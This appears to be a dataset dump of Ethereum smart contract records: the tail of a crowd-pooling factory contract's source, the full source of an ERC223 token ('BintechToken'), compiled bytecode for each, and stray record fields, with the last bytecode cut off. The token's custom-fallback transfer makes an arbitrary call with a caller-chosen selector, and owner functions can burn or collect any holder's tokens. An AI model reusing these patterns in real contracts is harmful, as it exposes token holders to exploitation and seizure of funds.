creator, address cp ); constructor( address cloneFactory, address cpTemplate, address dvmFactory, address defaultMaintainer, address defaultMtFeeRateModel, address defaultPermissionManager ) public { _CLONE_FACTORY_ = cloneFactory; _CP_TEMPLATE_ = cpTemplate; _DVM_FACTORY_ = dvmFactory; _DEFAULT_MAINTAINER_ = defaultMaintainer; _DEFAULT_MT_FEE_RATE_MODEL_ = defaultMtFeeRateModel; _DEFAULT_PERMISSION_MANAGER_ = defaultPermissionManager; } // ============ Functions ============ function createCrowdPooling() external returns (address newCrowdPooling) { newCrowdPooling = ICloneFactory(_CLONE_FACTORY_).clone(_CP_TEMPLATE_); } function initCrowdPooling( address cpAddress, address creator, address baseToken, address quoteToken, uint256[] memory timeLine, uint256[] memory valueList, bool isOpenTWAP ) external valueCheck(cpAddress,baseToken,timeLine,valueList) { { address[] memory addressList = new address[](7); addressList[0] = creator; addressList[1] = _DEFAULT_MAINTAINER_; addressList[2] = baseToken; addressList[3] = quoteToken; addressList[4] = _DEFAULT_PERMISSION_MANAGER_; addressList[5] = _DEFAULT_MT_FEE_RATE_MODEL_; addressList[6] = _DVM_FACTORY_; if(valueList[0] == 0) valueList[0] = uint112(-1); ICP(cpAddress).init( addressList, timeLine, valueList, isOpenTWAP ); } _REGISTRY_[baseToken][quoteToken].push(cpAddress); _USER_REGISTRY_[creator].push(cpAddress); emit NewCP(baseToken, quoteToken, creator, cpAddress); } // ============ View Functions ============ function getCrowdPooling(address baseToken, address quoteToken) external view returns (address[] memory pools) { return _REGISTRY_[baseToken][quoteToken]; } function getCrowdPoolingBidirection(address token0, address token1) external view returns (address[] memory baseToken0Pools, address[] memory baseToken1Pools) { return (_REGISTRY_[token0][token1], _REGISTRY_[token1][token0]); } function getCrowdPoolingByUser(address user) external view returns (address[] memory pools) { return _USER_REGISTRY_[user]; } // ============ Owner Functions ============ function updateCPTemplate(address _newCPTemplate) external onlyOwner { _CP_TEMPLATE_ = _newCPTemplate; } function setFreezeDuration(uint256 _newFreeDuration) public onlyOwner { _FREEZE_DURATION_ = _newFreeDuration; } function setCalmDuration(uint256 _newCalmDuration) public onlyOwner { _CALM_DURATION_ = _newCalmDuration; } function setVestDuration(uint256 _newVestDuration) public onlyOwner { _VEST_DURATION_ = _newVestDuration; } function setK(uint256 _newK) public onlyOwner { require(_newK <= 10**18, "CP_FACTORY : INVALID"); _K_ = _newK; } function setCliffRate(uint256 _newCliffRate) public onlyOwner { require(_newCliffRate <= 10**18, "CP_FACTORY : INVALID"); _CLIFF_RATE_ = _newCliffRate; } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636ca2aa9511610104578063bdeb0a91116100a2578063eb774d0511610071578063eb774d0514610360578063ec2fd46d14610368578063ecfc2db014610370578063f2fde38b14610383576101cf565b8063bdeb0a9114610335578063c2c2757b14610348578063ce90ea7414610350578063e0f5d89e14610358576101cf565b806389edcf14116100de57806389edcf14146102ff578063a58888db14610307578063a6569b3f1461031a578063a820636b14610322576101cf565b80636ca2aa95146102dc57806381ab4d0a146102ef5780638456db15146102f7576101cf565b80634e71e0c8116101715780636556c7e51161014b5780636556c7e51461029957806367de8be9146102b957806369e4e417146102cc5780636c5ccb9b146102d4576101cf565b80634e71e0c81461026b5780635568587a1461027357806364ddb01314610286576101cf565b8063294dafc0116101ad578063294dafc01461021a5780633ff9b61e1461022f57806341a1759c146102375780634c59de6614610258576101cf565b806307b8a636146101d45780630d009297146101e957806316048bc4146101fc575b600080fd5b6101e76101e23660046111cb565b610396565b005b6101e76101f7366004611025565b6103ce565b61020461042e565b6040516102119190611255565b60405180910390f35b61022261043d565b60405161021191906114f8565b610222610443565b61024a610245366004611064565b610449565b6040516102119291906112a7565b6101e76102663660046111cb565b610541565b6101e7610598565b6101e76102813660046111cb565b610626565b6101e7610294366004611025565b610655565b6102ac6102a7366004611064565b6106a1565b6040516102119190611294565b6101e76102c73660046111cb565b610724565b61020461077b565b61020461079f565b6101e76102ea3660046111cb565b6107c3565b6102046107f2565b610204610816565b610204610825565b6102046103153660046111a0565b6108cf565b610204610904565b6102ac610330366004611025565b610913565b610204610343366004611160565b610989565b6102226109cb565b6102226109d1565b6102046109d7565b6102046109fb565b610222610a1f565b6101e761037e36600461109c565b610a25565b6101e7610391366004611025565b610f0d565b6000546001600160a01b031633146103c95760405162461bcd60e51b81526004016103c0906114d5565b60405180910390fd5b600455565b600154600160a01b900460ff16156103f85760405162461bcd60e51b81526004016103c0906114ab565b6001805460ff60a01b1916600160a01b179055600080546001600160a01b039092166001600160a01b0319909216919091179055565b6000546001600160a01b031681565b60075481565b60055481565b6001600160a01b03808316600081815260086020818152604080842095871684529481528483209181528483209383529283529083902081548451818502810185019095528085526060948594909184918301828280156104d357602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116104b5575b505050505091508080548060200260200160405190810160405280929190818152602001828054801561052f57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610511575b50505050509050915091509250929050565b6000546001600160a01b0316331461056b5760405162461bcd60e51b81526004016103c0906114d5565b670de0b6b3a76400008111156105935760405162461bcd60e51b81526004016103c090611321565b600755565b6001546001600160a01b031633146105c25760405162461bcd60e51b81526004016103c09061134f565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031633146106505760405162461bcd60e51b81526004016103c0906114d5565b600555565b6000546001600160a01b0316331461067f5760405162461bcd60e51b81526004016103c0906114d5565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808316600090815260086020908152604080832093851683529281529082902080548351818402810184019094528084526060939283018282801561071757602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116106f9575b5050505050905092915050565b6000546001600160a01b0316331461074e5760405162461bcd60e51b81526004016103c0906114d5565b670de0b6b3a76400008111156107765760405162461bcd60e51b81526004016103c090611321565b600655565b7f00000000000000000000000072d220ce168c4f361dd4dee5d826a01ad8598f6c81565b7f0000000000000000000000005e84190a270333ace5b9202a3f4cebf11b81bb0181565b6000546001600160a01b031633146107ed5760405162461bcd60e51b81526004016103c0906114d5565b600355565b7f00000000000000000000000095c4f5b83aa70810d4f142d58e5f7242bd891cb081565b6001546001600160a01b031681565b6002546040516340925bc760e11b81526000916001600160a01b037f0000000000000000000000005e5a7b76462e4bdf83aa98795644281bdba80b88811692638124b78e92610878921690600401611255565b602060405180830381600087803b15801561089257600080fd5b505af11580156108a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ca9190611048565b905090565b600960205281600052604060002081815481106108e857fe5b6000918252602090912001546001600160a01b03169150829050565b6002546001600160a01b031681565b6001600160a01b03811660009081526009602090815260409182902080548351818402810184019094528084526060939283018282801561097d57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161095f575b50505050509050919050565b600860205282600052604060002060205281600052604060002081815481106109ae57fe5b6000918252602090912001546001600160a01b0316925083915050565b60045481565b60035481565b7f0000000000000000000000006b208e08dcf6bd51f50c5da09d15b2d8e5c46cf281565b7f0000000000000000000000005e5a7b76462e4bdf83aa98795644281bdba80b8881565b60065481565b8685848460045482600281518110610a3957fe5b602002602001015114610a5e5760405162461bcd60e51b81526004016103c090611421565b60055482600481518110610a6e57fe5b602002602001015114610a935760405162461bcd60e51b81526004016103c090611469565b60065481600181518110610aa357fe5b602002602001015114610ac85760405162461bcd60e51b81526004016103c0906113f1565b60075481600381518110610ad857fe5b602002602001015114610afd5760405162461bcd60e51b81526004016103c0906113ba565b60035482600381518110610b0d57fe5b60200260200101511015610b335760405162461bcd60e51b81526004016103c090611376565b60408051600780825261010082019092526060916020820160e0803683370190505090508a81600081518110610b6557fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000095c4f5b83aa70810d4f142d58e5f7242bd891cb081600181518110610bb357fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508981600281518110610be157fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508881600381518110610c0f57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000006b208e08dcf6bd51f50c5da09d15b2d8e5c46cf281600481518110610c5d57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000005e84190a270333ace5b9202a3f4cebf11b81bb0181600581518110610cab57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000072d220ce168c4f361dd4dee5d826a01ad8598f6c81600681518110610cf957fe5b60200260200101906001600160a01b031690816001600160a01b03168152505086600081518110610d2657fe5b602002602001015160001415610d63576000196dffffffffffffffffffffffffffff1687600081518110610d5657fe5b6020026020010181815250505b6040516341dd3c3360e11b81526001600160a01b038d16906383ba786690610d959084908c908c908c906004016112d5565b600060405180830381600087803b158015610daf57600080fd5b505af1158015610dc3573d6000803e3d6000fd5b5050505050600860008a6001600160a01b03166001600160a01b031681526020019081526020016000206000896001600160a01b03166001600160a01b031681526020019081526020016000208b9080600181540180825580915050600190039060005260206000200160009091909190916101000a8154816001600160a01b0302191690836001600160a01b03160217905550600960008b6001600160a01b03166001600160a01b031681526020019081526020016000208b9080600181540180825580915050600190039060005260206000200160009091909190916101000a8154816001600160a01b0302191690836001600160a01b031602179055507f0bd1e8ce555b4ec75d8b1c8113a8812659e0d94f0b4c67637dc049434604b45d89898c8e604051610ef89493929190611269565b60405180910390a15050505050505050505050565b6000546001600160a01b03163314610f375760405162461bcd60e51b81526004016103c0906114d5565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082601f830112610fa2578081fd5b813567ffffffffffffffff80821115610fb9578283fd5b602080830260405182828201018181108582111715610fd6578687fd5b604052848152945081850192508582018187018301881015610ff757600080fd5b600091505b8482101561101a578035845292820192600191909101908201610ffc565b505050505092915050565b600060208284031215611036578081fd5b813561104181611501565b9392505050565b600060208284031215611059578081fd5b815161104181611501565b60008060408385031215611076578081fd5b823561108181611501565b9150602083013561109181611501565b809150509250929050565b600080600080600080600060e0888a0312156110b6578283fd5b87356110c181611501565b965060208801356110d181611501565b955060408801356110e181611501565b945060608801356110f181611501565b9350608088013567ffffffffffffffff8082111561110d578485fd5b6111198b838c01610f92565b945060a08a013591508082111561112e578384fd5b5061113b8a828b01610f92565b92505060c08801358015158114611150578182fd5b8091505092959891949750929550565b600080600060608486031215611174578283fd5b833561117f81611501565b9250602084013561118f81611501565b929592945050506040919091013590565b600080604083850312156111b2578182fd5b82356111bd81611501565b946020939093013593505050565b6000602082840312156111dc578081fd5b5035919050565b6000815180845260208085019450808401835b8381101561121b5781516001600160a01b0316875295820195908201906001016111f6565b509495945050505050565b6000815180845260208085019450808401835b8381101561121b57815187529582019590820190600101611239565b6001600160a01b0391909116815260200190565b6001600160a01b03948516815292841660208401529083166040830152909116606082015260800190565b60006020825261104160208301846111e3565b6000604082526112ba60408301856111e3565b82810360208401526112cc81856111e3565b95945050505050565b6000608082526112e860808301876111e3565b82810360208401526112fa8187611226565b838103604085015261130c8187611226565b92505050821515606083015295945050505050565b60208082526014908201527310d417d19050d513d496480e881253959053125160621b604082015260600190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b60208082526024908201527f43505f464143544f5259203a20465245455a455f4455524154494f4e5f494e566040820152631053125160e21b606082015260800190565b6020808252601f908201527f43505f464143544f5259203a20434c4946465f524154455f494e56414c494400604082015260600190565b60208082526016908201527510d417d19050d513d496480e8812d7d253959053125160521b604082015260600190565b60208082526028908201527f43505f464143544f5259203a2050484153455f43414c4d5f4455524154494f4e60408201526717d253959053125160c21b606082015260800190565b60208082526022908201527f43505f464143544f5259203a20564553545f4455524154494f4e5f494e56414c604082015261125160f21b606082015260800190565b60208082526010908201526f1113d113d7d25392551250531256915160821b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b90815260200190565b6001600160a01b038116811461151657600080fd5b5056fea26469706673582212200c4e3a3f52050dd257c37c112b5649cdc5b18744eb7e4519b60da819a72c21c564736f6c63430006090033
{"success": true, "error": null, "results": {}}
1,249
0xd6dc348abec70a641bb6e775fa025f5599ca78cc
pragma solidity ^0.4.24; contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC223 { uint public totalSupply; function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed _from, address indexed _to, uint _value, bytes indexed _data); event Transfer(address indexed _from, address indexed _to, uint256 _value); } contract BintechToken is ERC223, Ownable { using SafeMath for uint256; string public name = "BintechToken"; string public symbol = "BTT"; uint8 public decimals = 8; uint256 public initialSupply = 2e8 * 1e8; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping (address => uint) balances; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed burner, uint256 value); event Mint(address indexed to, uint256 amount); event MintFinished(); constructor() public { totalSupply = initialSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } modifier onlyPayloadSize(uint256 size){ assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length>0); } function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint i = 0; i < targets.length; i++) { require(targets[i] != 0x0); frozenAccount[targets[i]] = isFrozen; emit FrozenFunds(targets[i], isFrozen); } } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint i = 0; i < targets.length; i++){ require(unlockUnixTime[targets[i]] < unixTimes[i]); unlockUnixTime[targets[i]] = unixTimes[i]; emit LockedFunds(targets[i], unixTimes[i]); } } function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf(_from) >= _unitAmount); balances[_from] = SafeMath.sub(balances[_from], _unitAmount); totalSupply = SafeMath.sub(totalSupply, _unitAmount); emit Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = SafeMath.add(totalSupply, _unitAmount); balances[_to] = SafeMath.add(balances[_to], _unitAmount); emit Mint(_to, _unitAmount); emit Transfer(address(0), _to, _unitAmount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function distributeTokens(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = SafeMath.mul(amount, 1e8); uint256 totalAmount = SafeMath.mul(amount, addresses.length); require(balances[msg.sender] >= totalAmount); for (uint i = 0; i < addresses.length; i++) { require(addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount); emit Transfer(msg.sender, addresses[i], amount); } balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount); return true; } function distributeTokens(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint i = 0; i < addresses.length; i++){ require(amounts[i] > 0 && addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); amounts[i] = amounts[i].mul(1e8); totalAmount = SafeMath.add(totalAmount, amounts[i]); } require(balances[msg.sender] >= totalAmount); for (i = 0; i < addresses.length; i++) { balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amounts[i]); emit Transfer(msg.sender, addresses[i], amounts[i]); } balances[msg.sender] = balances[msg.sender].sub(totalAmount); return true; } function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint i = 0; i < addresses.length; i++) { require(amounts[i] > 0 && addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); amounts[i] = SafeMath.mul(amounts[i], 1e8); require(balances[addresses[i]] >= amounts[i]); balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]); totalAmount = SafeMath.add(totalAmount, amounts[i]); emit Transfer(addresses[i], msg.sender, amounts[i]); } balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf(owner) >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if (msg.value > 0) owner.transfer(msg.value); balances[owner] = SafeMath.sub(balances[owner], distributeAmount); balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount); emit Transfer(owner, msg.sender, distributeAmount); } function() payable public { autoDistribute(); } }
0x60806040526004361061012f5763ffffffff60e060020a60003504166305d2035b811461013957806306fdde031461016257806318160ddd146101ec578063256fa24114610213578063313ce5671461026a578063378dc3dc1461029557806340c10f19146102aa5780634bd09c2a146102ce5780634f25eced1461035c57806364ddc6051461037157806370a08231146103ff5780637d64bcb4146104205780638da5cb5b1461043557806395d89b41146104665780639dc29fac1461047b578063a8f11eb91461012f578063a9059cbb1461049f578063b414d4b6146104c3578063be45fd62146104e4578063c341b9f61461054d578063cbbe974b146105a6578063d39b1d48146105c7578063f0dc4171146105df578063f2fde38b1461066d578063f6368f8a1461068e575b610137610735565b005b34801561014557600080fd5b5061014e610887565b604080519115158252519081900360200190f35b34801561016e57600080fd5b50610177610890565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b1578181015183820152602001610199565b50505050905090810190601f1680156101de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f857600080fd5b50610201610923565b60408051918252519081900360200190f35b34801561021f57600080fd5b506040805160206004803580820135838102808601850190965280855261014e9536959394602494938501929182918501908490808284375094975050933594506109299350505050565b34801561027657600080fd5b5061027f610b86565b6040805160ff9092168252519081900360200190f35b3480156102a157600080fd5b50610201610b8f565b3480156102b657600080fd5b5061014e600160a060020a0360043516602435610b95565b3480156102da57600080fd5b506040805160206004803580820135838102808601850190965280855261014e95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610c889650505050505050565b34801561036857600080fd5b50610201610f76565b34801561037d57600080fd5b506040805160206004803580820135838102808601850190965280855261013795369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610f7c9650505050505050565b34801561040b57600080fd5b50610201600160a060020a03600435166110e0565b34801561042c57600080fd5b5061014e6110fb565b34801561044157600080fd5b5061044a611161565b60408051600160a060020a039092168252519081900360200190f35b34801561047257600080fd5b50610177611170565b34801561048757600080fd5b50610137600160a060020a03600435166024356111d1565b3480156104ab57600080fd5b5061014e600160a060020a036004351660243561129a565b3480156104cf57600080fd5b5061014e600160a060020a036004351661135d565b3480156104f057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261014e948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506113729650505050505050565b34801561055957600080fd5b506040805160206004803580820135838102808601850190965280855261013795369593946024949385019291829185019084908082843750949750505050913515159250611432915050565b3480156105b257600080fd5b50610201600160a060020a036004351661153c565b3480156105d357600080fd5b5061013760043561154e565b3480156105eb57600080fd5b506040805160206004803580820135838102808601850190965280855261014e95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061156a9650505050505050565b34801561067957600080fd5b50610137600160a060020a036004351661185f565b34801561069a57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261014e948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506118f49650505050505050565b600060075411801561075d575060075460015461075a90600160a060020a03166110e0565b10155b80156107795750336000908152600a602052604090205460ff16155b80156107935750336000908152600b602052604090205442115b151561079e57600080fd5b60003411156107e257600154604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156107e0573d6000803e3d6000fd5b505b600154600160a060020a031660009081526009602052604090205460075461080a9190611c66565b600154600160a060020a031660009081526009602052604080822092909255338152205460075461083b9190611c78565b3360008181526009602090815260409182902093909355600154600754825190815291519293600160a060020a03909116926000805160206120078339815191529281900390910190a3565b60085460ff1681565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109195780601f106108ee57610100808354040283529160200191610919565b820191906000526020600020905b8154815290600101906020018083116108fc57829003601f168201915b5050505050905090565b60065490565b6000806000808411801561093e575060008551115b801561095a5750336000908152600a602052604090205460ff16155b80156109745750336000908152600b602052604090205442115b151561097f57600080fd5b61098d846305f5e100611c87565b935061099a848651611c87565b336000908152600960205260409020549092508211156109b957600080fd5b5060005b8451811015610b515784818151811015156109d457fe5b90602001906020020151600160a060020a0316600014158015610a2c5750600a60008683815181101515610a0457fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b8015610a735750600b60008683815181101515610a4557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610a7e57600080fd5b610ac4600960008784815181101515610a9357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205485611c78565b600960008784815181101515610ad657fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558451859082908110610b0757fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612007833981519152866040518082815260200191505060405180910390a36001016109bd565b33600090815260096020526040902054610b6b9083611c66565b33600090815260096020526040902055506001949350505050565b60045460ff1690565b60055481565b600154600090600160a060020a03163314610baf57600080fd5b60085460ff1615610bbf57600080fd5b60008211610bcc57600080fd5b610bd860065483611c78565b600655600160a060020a038316600090815260096020526040902054610bfe9083611c78565b600160a060020a038416600081815260096020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206120078339815191529181900360200190a350600192915050565b6000806000808551118015610c9e575083518551145b8015610cba5750336000908152600a602052604090205460ff16155b8015610cd45750336000908152600b602052604090205442115b1515610cdf57600080fd5b5060009050805b8451811015610e3b5760008482815181101515610cff57fe5b90602001906020020151118015610d3757508481815181101515610d1f57fe5b90602001906020020151600160a060020a0316600014155b8015610d785750600a60008683815181101515610d5057fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b8015610dbf5750600b60008683815181101515610d9157fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610dca57600080fd5b610df66305f5e1008583815181101515610de057fe5b602090810290910101519063ffffffff611c8716565b8482815181101515610e0457fe5b602090810290910101528351610e31908390869084908110610e2257fe5b90602001906020020151611c78565b9150600101610ce6565b33600090815260096020526040902054821115610e5757600080fd5b5060005b8451811015610f5657610eb2600960008784815181101515610e7957fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020548583815181101515610e2257fe5b600960008784815181101515610ec457fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558451859082908110610ef557fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206120078339815191528684815181101515610f2f57fe5b906020019060200201516040518082815260200191505060405180910390a3600101610e5b565b33600090815260096020526040902054610b6b908363ffffffff611c6616565b60075481565b600154600090600160a060020a03163314610f9657600080fd5b60008351118015610fa8575081518351145b1515610fb357600080fd5b5060005b82518110156110db578181815181101515610fce57fe5b90602001906020020151600b60008584815181101515610fea57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020541061101757600080fd5b818181518110151561102557fe5b90602001906020020151600b6000858481518110151561104157fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055825183908290811061107257fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c157783838151811015156110b457fe5b906020019060200201516040518082815260200191505060405180910390a2600101610fb7565b505050565b600160a060020a031660009081526009602052604090205490565b600154600090600160a060020a0316331461111557600080fd5b60085460ff161561112557600080fd5b6008805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a031681565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109195780601f106108ee57610100808354040283529160200191610919565b600154600160a060020a031633146111e857600080fd5b6000811180156112005750806111fd836110e0565b10155b151561120b57600080fd5b600160a060020a03821660009081526009602052604090205461122e9082611c66565b600160a060020a0383166000908152600960205260409020556006546112549082611c66565b600655604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600060606000831180156112be5750336000908152600a602052604090205460ff16155b80156112e35750600160a060020a0384166000908152600a602052604090205460ff16155b80156112fd5750336000908152600b602052604090205442115b80156113205750600160a060020a0384166000908152600b602052604090205442115b151561132b57600080fd5b61133484611cb2565b1561134b57611344848483611cba565b9150611356565b611344848483611ece565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156113935750336000908152600a602052604090205460ff16155b80156113b85750600160a060020a0384166000908152600a602052604090205460ff16155b80156113d25750336000908152600b602052604090205442115b80156113f55750600160a060020a0384166000908152600b602052604090205442115b151561140057600080fd5b61140984611cb2565b1561142057611419848484611cba565b905061142b565b611419848484611ece565b9392505050565b600154600090600160a060020a0316331461144c57600080fd5b825160001061145a57600080fd5b5060005b82518110156110db57828181518110151561147557fe5b60209081029091010151600160a060020a0316151561149357600080fd5b81600a600085848151811015156114a657fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff191691151591909117905582518390829081106114e657fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a260010161145e565b600b6020526000908152604090205481565b600154600160a060020a0316331461156557600080fd5b600755565b60015460009081908190600160a060020a0316331461158857600080fd5b6000855111801561159a575083518551145b15156115a557600080fd5b5060009050805b845181101561184557600084828151811015156115c557fe5b906020019060200201511180156